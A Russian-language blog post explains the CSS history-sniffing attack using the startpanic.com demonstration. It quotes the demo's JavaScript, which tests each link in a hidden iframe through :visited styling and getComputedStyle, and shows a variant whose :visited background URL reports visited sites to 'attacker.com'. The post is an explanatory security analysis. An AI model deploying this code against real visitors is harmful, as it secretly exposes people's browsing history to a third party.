Чтение истории посещений с помощью CSS

На написание этой небольшой заметки меня подтолкнул пост в блоге автора плагина NoScript о ресурсе с провокационным названием Start Panic!, который призывает пользователей написать петицию к разработчикам браузеров для устранения бага, связанного с выявлением посещенных пользователями страниц с помощью JS+CSS эксплоита, который может быть размещен на любом сайте. Как раз на startpanic.com и проводится демонстрация уязвимости; к слову, довольно показательная – все выведенные адреса действительно мной посещались. На самом деле ничего нового в этом баге нет – используется давно известный прием CSS History Reading. Собственно о нем и расскажу на примере его реализации на startpanic.com.

Прежде всего сохраняем c сайта /js/sp.js – главный скрипт, который выполняет проверку посещенных страниц. Скрипт минимизирован, поэтому его необходимо отформатировать, например это можно сделать в Aptana IDE (Ctrl+Shift+F). Итак, как видно из кода, прежде всего AJAX‘ом подгружается большой список сайтов размером порядка 1,5 МБ:

letsBegin('en');
function letsBegin(a){
    startCheck("/db/db_" + a + ".txt")
}
function startCheck(a){
    $.get(a, function(d){
        var c = d.split("\n");
        for (var b in c) {
            c[b] = "http://" + c[b]
        }
        user = StartPanic(c)
    })
}

Далее создается скрытый iframe, куда впоследствии будут помещаться ссылки на сайты из списка:

var p = document.createElement("iframe");
$(p).css({
    position: "absolute",
    width: "1px",
    height: "1px",
    visibility: "hidden"
});
$("body").append($(p));

В созданном ифрейме указываются стили, при чем посещенные ссылки будут иметь атрибут display равное inline:

p.doc.write("<style>");
p.doc.write("a{color: #000000; display:none;}");
p.doc.write("a:visited {color: #FF0000; display:inline;}");
p.doc.write("</style>");

Внутри iframe последовательно создаются ссылки, у которых проверяется атрибут display (q – DOM-элемент ифрейма; r – DOM-элемент ссылки):

return q.defaultView.getComputedStyle(r, null).getPropertyValue("display");

Собственно вот и весь алгоритм, хотя он отличается от традиционного варианта тем, что для посещенных ссылок вместо display:inline устанавливается атрибут background, который указывает на backend-приложение атакующего, логирующее все входящие адреса. Пример такого варианта:

<style>
     a:visited{background:url("http://attacker.com/?msn.com")}
     a:not(:visited){background:url(//not-visited)}
</style>
<a href="http://msn.com">x</a>

Разница между двумя способами также может проявляться в производительности: для традиционного варианта необходимо создавать для каждой ссылки отдельный ифрейм.

В заключение хочу отметить представленную на BlueHat 2008 работу, из которой можно подчерпнуть еще больше информации о применении CSS для реализации таких атак, как XSS и Clickjacking, а также о некоторых других не менее интересных приемах.